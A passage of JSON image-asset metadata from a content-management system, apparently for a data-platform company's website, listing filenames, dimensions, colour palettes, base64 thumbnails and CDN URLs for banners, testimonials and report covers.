fff","population":7.91,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Workshop-SQL-optimization-101 Olena (1200x628).png","path":"images/sczeoy4w/production/eb250de4cabfed80bdd99d3debd758bce7bbec15-1200x628.png","sha1hash":"eb250de4cabfed80bdd99d3debd758bce7bbec15","size":278534,"uploadId":"2imavoH1J63HkPizd9yv4D7GtlsK7Xo5","url":"https://cdn.sanity.io/images/sczeoy4w/production/eb250de4cabfed80bdd99d3debd758bce7bbec15-1200x628.png"} {"_createdAt":"2024-05-07T08:01:54Z","_id":"image-d1fc3335ff566d4c3ca3dc302305f79da1f7996f-1255x1277-png","_rev":"TpAoe0ZPYnVPmPAgmZ9vzl","_type":"sanity.imageAsset","_updatedAt":"2024-05-07T08:01:54Z","assetId":"d1fc3335ff566d4c3ca3dc302305f79da1f7996f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e5S8{r1u=1JQ$PS2Nu$PS2WV|{,tNuNu1u,tNuNuw{so1a1uE|oL|{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9827721221613156,"height":1277,"width":1255},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAC4jAAAuIwF4pT92AAADgElEQVQ4jU1V24vVVRg9Jf0F0kNQ0EMZREREQUKsZQRCUU3fivSl6EIY3tIu08WpLLOLOpWXpvHoSJmpw+QUkiVOjjqBSRBNFlF2ect6kP6FveLbv531sDnn/C5rr/WttfbpFeoPU4NGzC3Q9YYmTB0xtNCIa4zoG/rd0I+mvjU0a8YPpqbMeNnULlO/GPGTEd/0TP1ZoEEzLjF1uxEzBTFr6pHCmG/ElgLtM7XU1L2mFpmx1NBOMzePg6YOG9pgxOoE/MvUU6bmFWq5qRlDp0y9ZupuU5sNbTc1UKibTM03Y8DQVlOfVjXUscLIZ9ZVwAI9berm+jJ10oyT3e5aZVYmx5u0tyoQYn9BHDK1zdQeU1+a+sDUmz0z/jZisxlLTH3cAWrG1AlDowUxXhifmXrdiCdNrTG0t5MZL5kaMZT3XzW1rFcYvxlxwExQ7Tb1YmM2YmqHoX5VAF3bzTmuMBRGDBvxSpN+2NR+I8ZS8rSRg40Pm7zBZsALpp4wdY+hGwxdacYCU4tNPZCmGXGfWce1pS7EZAKeyRkVxngyLNRYA97djLnF1HWGVhqx04z3TL1vRN6739SQqWSawFMJeK4BLDJ1m6k70lEzVrdorGusdxmx1lR0CqJfqO0lwTszU9FsAp6tOYQuNnWhERcZkZ+Xm3rO1MG2thVExmaOGZea1aDPC2LK1Dum1hpxulegsy2Hc83IDeaY6hXqsjof1KwdasO/0YgL0pySCrpAf9His7Y0wHNGvGvEnUbQ0AIjbjX1qKl+m+NQgcYMPWNqYTNlxIxdRs3hVuM/hr8aOmbGHjPGjPpQGpJ121Q7nQ2BhozI/GUa0sC3TS0xtKm5nPM9nRKPFsaJruyaKNBkq9OBGubupYdaPsdbazLIG02trPODtlWGjAo4WaivzZjOIBfqk9ykMdzRZPfb93R0X+mYjhZquFVua6kM47sEfLiyQews1OONxUfN4WSwyohsTq7HjOiuUcsKtcKIUSPSlKzh9wl4dZba0PMtY3saw4zChiZto9FW93vY0HqzmpRd3ltnT/2cgPO64ccaU3c1CRmFjMkbFbSedf9bHeh6Q8tbQyZafI7maXNV3TErBA0YtVppyLPO8zElIqW1Ra0o3bVlZiw248HWtIMF6v8LuKmcZxjjhs4Y+iqPsNKd4OeXUa/l+TdtpEn1YD1eur+GU/8Ac39H25B5NPUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#684445","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b61020","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3b53","foreground":"#fff","population":28.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95030f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa4452","foreground":"#fff","population":17.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a2565e","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3b53","foreground":"#fff","population":28.86,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-la-redoute.png","path":"images/sczeoy4w/production/d1fc3335ff566d4c3ca3dc302305f79da1f7996f-1255x1277.png","sha1hash":"d1fc3335ff566d4c3ca3dc302305f79da1f7996f","size":39015,"uploadId":"gXDwE8Uu37v1xyb79YD50VGlBEa5NMrp","url":"https://cdn.sanity.io/images/sczeoy4w/production/d1fc3335ff566d4c3ca3dc302305f79da1f7996f-1255x1277.png"} {"_createdAt":"2024-10-02T08:04:49Z","_id":"image-555744d0655654c68c125b8aa421bdc009c43a62-1200x630-png","_rev":"8q08tYxGNL2qfrtMKYDWfl","_type":"sanity.imageAsset","_updatedAt":"2024-10-02T08:04:49Z","assetId":"555744d0655654c68c125b8aa421bdc009c43a62","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M38qdjDNVn-y04_ID@%L--9O00-xxvW0?7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACcklEQVQokU2S2VLaYABG8wTthRIQkrAkhCRgkNUohIjIDiIGF5iOY6coDgi1CkICf1giYJQWW6c+b+v0pg9w5jvzzYE+wKUV44kOrejQT7D5M4xVddglbK7rLS299daAd4x2GXEoKDXBqDFGDRBSMtnlNaK3hnehVeTU7qqygQYbbLqDN7jzWm+p6bD/YEJGyCHuVjej09g+4HZvyY07xCEZCQmCsTIbqPN7HSHRi8RlN9e2MS0r/c3GdGyuHsECq1OxukZCZtZoP/ZAt3Zdyx011zkZdQBIh5bdgYaQ6ApJOZoEkbgSjg35uMrHZ0LyKZZbctGFN6yeN8fLN2UOriZydaBKmeOJxTl5X/ZyzVhajmVBPDdKF6bZopYTv+dLL4Xj12L5LVH4HUnNa93+8u1+fFsdda6mi7F4/oi7NUiPVfyhVqqgpIvjTPEhL2r7pcX+0Y+Dk1+Fk9eM+BpJvviFWa4CvnbA3bXUqHXPLpRw6sG6/gTBWMW71UzmQaowShXUTHGeKWrZw0W+9JIVfwrphS/8yPin61tqLDM7Pn3OH8z8vIKzQ5RW3992emqhaDsc64Z2ZX4PROLjndR0N63xCc0bnjJ+lfRMnQEtGFny8eXmjkb7JhgNTCSAVgwlwlZ2rVdpT51w1Um2xQa7vjDwhUYsN3R4FQujWJ1jlnsOCj/9/GJje077JmZmYLT3oVX9IYGJDHVmd10i9guUvGK8be/2wM0pzgAgPQpGA5QaEuyM3JjZXCML08doyURK7/BHWNStiQb0VG8502HnsPmLiaibqRsz1caoDkpJCNn/VxjiGBkJyYB3DHjbgN//1f4DkO7FNdFje3oAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f356d","foreground":"#fff","population":1.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6e","foreground":"#fff","population":9.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1c8df","foreground":"#000","population":9.25,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c8df","foreground":"#000","population":9.25,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a80c3","foreground":"#fff","population":0.97,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa4b50","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a9b255","foreground":"#000","population":0.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Dojo Jérémy Barneron testimonial.png","path":"images/sczeoy4w/production/555744d0655654c68c125b8aa421bdc009c43a62-1200x630.png","sha1hash":"555744d0655654c68c125b8aa421bdc009c43a62","size":363021,"uploadId":"egifzjZcAxdEPMITSm3bRvnpVsdcomnQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/555744d0655654c68c125b8aa421bdc009c43a62-1200x630.png"} {"_createdAt":"2024-10-02T08:05:36Z","_id":"image-328ef38798848cd1627a86a7c4b7e4bcae119a92-1200x630-png","_rev":"aUZ7RLz26hS2cUekFvvfun","_type":"sanity.imageAsset","_updatedAt":"2024-10-02T08:05:36Z","assetId":"328ef38798848cd1627a86a7c4b7e4bcae119a92","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M69tHC00-L?E01~V9b%L%L9b00^gR,Iv^$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACiUlEQVQokSXS607TYACA4d6AQZGtO/RrV3r6tm4rhW5j4+ygjOPAAToSEEWQIQ6RMbevXbsTYwOCGDTgD6IkRhIN0V+eLsDrMuIFvH/ePNgNS6IJn7lpm7vlmG92LrYQDy1gxUqlcFcap7dszI6DRQRvAFgmYRkIOsEjJ4ccbN7OvMRuO++5hCUorbrbUm55g4brVnLVSqZwOm1r/R/nCd7g5d3IQH1o2IyqptJVdXkMB4swnEpKgfXewZ1+Nd+nalJwm+Q3CC4N+BcObtvOZu1snhZLsekTA717bdQOUHUz/SYSPQCCgVlA0hdI9Q5m+4dRn6qF+5HShZRuo6O7KAYKtBc5WOQN1rLo8sfnq99nja9HpYvTiwcr562+KmYlk3L42dC4rk4Yg2OmOl5RJ2qx+P7I9NGdscO2SIVy63JXo7r37c/P779O974c6FcXlxtbn3j5ELNS80pXOjZpxOLF4Xh5dLo2MlUfnT4YnzmOTb0KDexxUtGj7D5ae39++vFDvXSiZ2vm2/jcGePfx6wgKQWf9qm5gRiKjprqREWdrKmTDXXysC+27wuVadGgxVJHdyMxV19d1BZnM9Ghgru9DGAZa7bPXd9+4mlf9yqbUjAjh3NyWJMjpjdguETk5DTKXfQo9UDPfqin4ld01qdT7gIhFLBmPEGCWYZboOEywT0m+ZQgbYlKztOhCbLG+DTAa5Sn6O88VHqPfaEGJ5VYv8n4DNKtYy34XZZMuOEi510luBXAr3naM+0RXeo0xEBBkA0S6gCarL/Gt+3RoklCRMIcgHmngLAma8JiT9jAfdy1YCGXrNQywaxT8DkFt0m4A2DOySPntTAgFO1s3sbs2JjMPzwc+gtl9MV2o1GLKAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346d","foreground":"#fff","population":1.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6f","foreground":"#fff","population":10.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6f","foreground":"#fff","population":10.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a94bf","foreground":"#fff","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7a993","foreground":"#000","population":0.82,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36f5a","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b74043","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Dojo - Elad Leev testimonial.png","path":"images/sczeoy4w/production/328ef38798848cd1627a86a7c4b7e4bcae119a92-1200x630.png","sha1hash":"328ef38798848cd1627a86a7c4b7e4bcae119a92","size":258320,"uploadId":"p3jUvJJXIqgQkLmNTsonNMFUyg6eymtM","url":"https://cdn.sanity.io/images/sczeoy4w/production/328ef38798848cd1627a86a7c4b7e4bcae119a92-1200x630.png"} {"_createdAt":"2024-12-03T07:55:54Z","_id":"image-c0ecca1e68279de3ff6b1e5c03015e3efef72965-1536x2048-jpg","_rev":"PbSF8wjEESeIG4nK76x51z","_type":"sanity.imageAsset","_updatedAt":"2024-12-03T07:55:54Z","assetId":"c0ecca1e68279de3ff6b1e5c03015e3efef72965","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dBF#m+xaJC%10$W=R5fj~Bofofs.=xIUofRkIpxvfkR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.75,"height":2048,"width":1536},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGgAAAgIDAAAAAAAAAAAAAAAAAAYDBwIEBf/EACUQAAICAgEEAQUBAAAAAAAAAAEDAgQABRESITFBBhMiMlFhgf/EABYBAQEBAAAAAAAAAAAAAAAAAAQAAv/EABwRAQACAgMBAAAAAAAAAAAAAAEAAhExAyJRYf/aAAwDAQACEQMRAD8A5tV4ttEa9niR78SPGZ30RfVQ43XOZ1EBKjx3HsnE+tsmbHV66NHWtlciQGNiOBLt7OQK0XyWVaaGXgrrkSFx7kE/31h0DbEiuiNLNnU6vvbOMh2I6fBwys9hor9O1JUrAYfPUJnDLFfZdvJbciaqQpdcpTx1DgdPGT0fpKqTsSlPmZPEh4xhnxsfmhrXQGoHMRAjgcf5mr8rqIq6+aq6xBYn+IwVlqrF1Sxj5INdrNa+kpj4xlMjyEk+/wB4Yor3OxqQCq1tq1jxEHsMM2c5iYeG2dz/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#514239","foreground":"#fff","population":6.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69421f","foreground":"#fff","population":2.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#514239","foreground":"#fff","population":6.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c8bd","foreground":"#000","population":6.28,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7c17f","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab7e5d","foreground":"#fff","population":6.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4bc6c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven London Dinner November 2024 C-Vision (2).jpeg","path":"images/sczeoy4w/production/c0ecca1e68279de3ff6b1e5c03015e3efef72965-1536x2048.jpg","sha1hash":"c0ecca1e68279de3ff6b1e5c03015e3efef72965","size":489628,"uploadId":"75DCxXgMMSRn6uV72lPrxb5rk8aPlRDR","url":"https://cdn.sanity.io/images/sczeoy4w/production/c0ecca1e68279de3ff6b1e5c03015e3efef72965-1536x2048.jpg"} {"_createdAt":"2024-10-02T08:07:23Z","_id":"image-a45e8ef2034dd17cd7a07df2ad0b1109d2914b24-1093x299-png","_rev":"1U5rBVnZYn4alWirhfwqJx","_type":"sanity.imageAsset","_updatedAt":"2024-10-02T08:07:23Z","assetId":"a45e8ef2034dd17cd7a07df2ad0b1109d2914b24","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.6555183946488294,"height":299,"width":1093},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAvUlEQVQYlTXQSysEABTF8d92VtjIws7CB7Aij8XUxEyyIYUhLEzJYxiEIpG8UjY+ry7H3d3T/5z7gAE+8I5rNDGDfrRnbGDMX42gjS728RDuAgsF3GE3zTqOcRRtHh0cYBaNBK7iPiEdzIWvhX4nlDga0yNesIJhTOAwQ6Ywji184RKTGMIyvv833E7YGk5xgp2c3kpfr9mLsYebsIuYDn9bgVf5wVuECqjwM7ziKXAZz/EZzxI2c1FxtW3zB4LsJDpri5bWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Dojo-new logo.png","path":"images/sczeoy4w/production/a45e8ef2034dd17cd7a07df2ad0b1109d2914b24-1093x299.png","sha1hash":"a45e8ef2034dd17cd7a07df2ad0b1109d2914b24","size":22522,"uploadId":"lQUrVz9tJHRfW6EVtLOjshPtv331I1WM","url":"https://cdn.sanity.io/images/sczeoy4w/production/a45e8ef2034dd17cd7a07df2ad0b1109d2914b24-1093x299.png"} {"_createdAt":"2024-06-05T19:15:16Z","_id":"image-71cf30f997652106571c6a6a71d19e76aecc08ca-1520x1038-png","_rev":"VfQ7OfGwzGd1W0wf9P8KHu","_type":"sanity.imageAsset","_updatedAt":"2024-06-05T19:15:39Z","altText":null,"assetId":"71cf30f997652106571c6a6a71d19e76aecc08ca","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5Ss52-:xC%M_M~pV[WBRjRl-;D*RjxtMy?I-oIVRj-.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.464354527938343,"height":1038,"width":1520},"exif":{"PixelXDimension":1520,"PixelYDimension":1038,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB1klEQVQ4jX1UXY8aMQzk//+xVrpKfarUp57aHqfqgGV3k9iOk2Wq8QK6A1okE0Dr8Xw4bMwMpRTMiSVIWSFaUb2h947T6XRXy7Jc63Tz+6a1BikFx8OAw37AOM4Qtf+CuTtUDbXWK+jl3PCtmUKnEXmeIaLRcDv9Uhykosg5w+wBIPilOVwF1QzuDWTdeod7R/WO1lhLVK0NWgRSJJ5dbuSvDFsLH1n0lA+ycjFMc0HKAhGDWYMaLVKICGr1GEbWd4A5M5QU3gTD1gNkmjLmucRnsrPK4YqU8tWe/giQ7AhKXy5TKbeoByvKb52BdKRcMAxHTNMcwdwBulfkNCOlFNMvCUrtmHSB2ArEJjZTyW63xzhOYdEdYG8NKgUlk6Wd/TJIbUgErB3e2EQ1HftDwo/nPZ5/Dvi9nbHbS6i4AhKdsqs6JDtMPbxhMJTdO1Nc14ZMX7YJT193+PT0hs9fdvj2/Yhxqh8Bo7k6qjZ4XVeHrMjoIgfgHi6Y5orta8avlxT1502g+o7hmqiiiEYoAexromo90o2gYt9I4OP1e38JApDN3DXe58wd0wo1h3DnrIc/lO5tgZ/l/+sVgBZLrLEOuZC+nf8cFvTlFEUQnt7X89G1JMO/g/xH5EYRjegAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a494a","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3b458f","foreground":"#fff","population":0.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3b458f","foreground":"#fff","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5afcc","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a8e5fc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6672a4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc4444","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Valkey Create Service Screenshot (DRAFT).png","path":"images/sczeoy4w/production/71cf30f997652106571c6a6a71d19e76aecc08ca-1520x1038.png","sha1hash":"71cf30f997652106571c6a6a71d19e76aecc08ca","size":200547,"title":"Valkey Create Service Screenshot (DRAFT)","uploadId":"l2YpDyPu9MRVRQpwmmMgDgpP66dpNyns","url":"https://cdn.sanity.io/images/sczeoy4w/production/71cf30f997652106571c6a6a71d19e76aecc08ca-1520x1038.png"} {"_createdAt":"2024-10-04T08:38:21Z","_id":"image-69aacc9544c112bceb80c4dd8e76e68d48cdd536-1920x1008-jpg","_rev":"PyQmlbx4fuBwfv1MU5ROVk","_type":"sanity.imageAsset","_updatedAt":"2024-10-04T08:38:21Z","assetId":"69aacc9544c112bceb80c4dd8e76e68d48cdd536","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M45?c6%%RPtoIUD4Skks%ht85AoNx^WVxv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":1008,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYBAwUH/8QAHxAAAgICAgMBAAAAAAAAAAAAAQIAAwQRBSESIjFB/8QAFgEBAQEAAAAAAAAAAAAAAAAABgAB/8QAGxEAAgMAAwAAAAAAAAAAAAAAAAEEERQhMUH/2gAMAwEAAhEDEQA/AOY5PF5ubi1MV82Px2fvUirhFroeu/YtPWyfk0qGIAAPWpWPa327iXPfYaUivBUzOOtqvZHfZH6DCNV9NbWbZATqEs6Mch3wf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4449","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d4e80","foreground":"#fff","population":6.98,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d4e80","foreground":"#fff","population":6.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314d67","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7cbdd","foreground":"#000","population":4.49,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6187a6","foreground":"#fff","population":2.64,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e5e9d","foreground":"#fff","population":6.67,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IDC_GenAI_Infobrief_Cover.jpg","path":"images/sczeoy4w/production/69aacc9544c112bceb80c4dd8e76e68d48cdd536-1920x1008.jpg","sha1hash":"69aacc9544c112bceb80c4dd8e76e68d48cdd536","size":357517,"uploadId":"AQIvcPSTjmlgPKShDwDpqJSaRFjyn8Lp","url":"https://cdn.sanity.io/images/sczeoy4w/production/69aacc9544c112bceb80c4dd8e76e68d48cdd536-1920x1008.jpg"} {"_createdAt":"2024-10-04T08:46:06Z","_id":"image-08b3ceac9cfb9bd34a1bd2bab68b97139758eaff-1920x1008-jpg","_rev":"PyQmlbx4fuBwfv1MU5RtSg","_type":"sanity.imageAsset","_updatedAt":"2024-10-04T08:46:06Z","assetId":"08b3ceac9cfb9bd34a1bd2bab68b97139758eaff","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M57xzo5=m,%%NdVBNMS%.8kX0r=}Tes;j^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":1008,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCAwf/xAAhEAACAQQCAgMAAAAAAAAAAAABAhEAAwQhBRIjMUFRgf/EABYBAQEBAAAAAAAAAAAAAAAAAAYCA//EAB4RAAIBAwUAAAAAAAAAAAAAAAABBAIDMREUMlKh/9oADAMBAAIRAxEAPwDJszA5LkHS6X7p11Lbim2Hxxscd5goLQrAPJj7qm0xQQpjUVFEBaCPdIXGbyw7TKSwhNn8PcTIItZtsodju3Uj8opzftoX2oOvmip2tXY1cy1rw9P/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f455b","foreground":"#fff","population":2.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#074271","foreground":"#fff","population":5.54,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c9d5e3","foreground":"#000","population":7.05,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9d5e3","foreground":"#000","population":7.05,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7aabcf","foreground":"#000","population":0.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47b5a","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b5c93","foreground":"#fff","population":4.63,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IDC_GenAI_Infobrief_DE_Cover.jpg","path":"images/sczeoy4w/production/08b3ceac9cfb9bd34a1bd2bab68b97139758eaff-1920x1008.jpg","sha1hash":"08b3ceac9cfb9bd34a1bd2bab68b97139758eaff","size":416899,"uploadId":"heYzUMBEwuTXHaYdTEtyrZwREFIn4sMh","url":"https://cdn.sanity.io/images/sczeoy4w/production/08b3ceac9cfb9bd34a1bd2bab68b97139758eaff-1920x1008.jpg"} {"_createdAt":"2024-10-03T14:26:38Z","_id":"image-011be1ee4b6f75c4bcab5bd0094410db5b17393a-3500x2333-jpg","_rev":"7toRRiORrVWQlC0ubqwwEn","_type":"sanity.imageAsset","_updatedAt":"2024-10-03T14:26:38Z","assetId":"011be1ee4b6f75c4bcab5bd0094410db5b17393a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6BV|m00I=IpQ,9F%2xZxuNFr:5T}@NFo~vLcZr=E1%N","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5002143163309045,"height":2333,"width":3500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACMQAAEDAwQCAwAAAAAAAAAAAAECAwQABREGEhMhFHExMmH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABsRAAICAwEAAAAAAAAAAAAAAAECABEDITNS/9oADAMBAAIRAxEAPwDG7bF82AqOAcrO4e6oNP2Z2POMTaGeRvcOdYBPqkmnXlpcQUKKdp+BVnadHousluXNuUtbhOU9/X8qddShjdiJJd9eiPqYLico6xjOKK0qLpi225ssJa5eyorcwSSaKQsngQwuSuhn/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b3f31","foreground":"#fff","population":7.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#702918","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ba9d93","foreground":"#000","population":8.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ba9d93","foreground":"#000","population":8.24,"t